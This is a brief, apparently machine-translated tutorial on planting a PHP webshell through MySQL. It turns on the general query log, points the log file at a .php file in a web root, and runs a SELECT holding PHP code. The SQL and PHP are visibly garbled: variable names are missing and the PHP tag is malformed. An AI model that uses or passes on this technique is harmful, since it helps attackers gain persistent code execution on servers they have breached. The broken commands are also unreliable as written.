New MySQL Write Webshell (beta version 5.5.53)

0x01 Preface

The new version of MySQL sets the path to the exported file in My.ini and no longer uses SELECT into outfile to write a sentence

You can set the path everywhere in the My.ini under the MySQL folder

But when you take the shell, it's impossible to modify the configuration file

You can get Webshell by modifying the MySQL log file.

0x02 Process

First enter the SQL environment and execute the following SQL statement:

 like " %general% ";

Modify the value as above two places, where the address of the modified log is the PHP file under the Site directory, and then the log file is written, and the method of modification

Set =  on ; Set = "C:/phpstudy/phptutorial/MySQL/6. php";

And then execute

Select "<php echo 12344;? >"

At this point in the site directory under 6. A sentence is generated in PHP

Executed successfully.

New MySQL Write Webshell (beta version 5.5.53)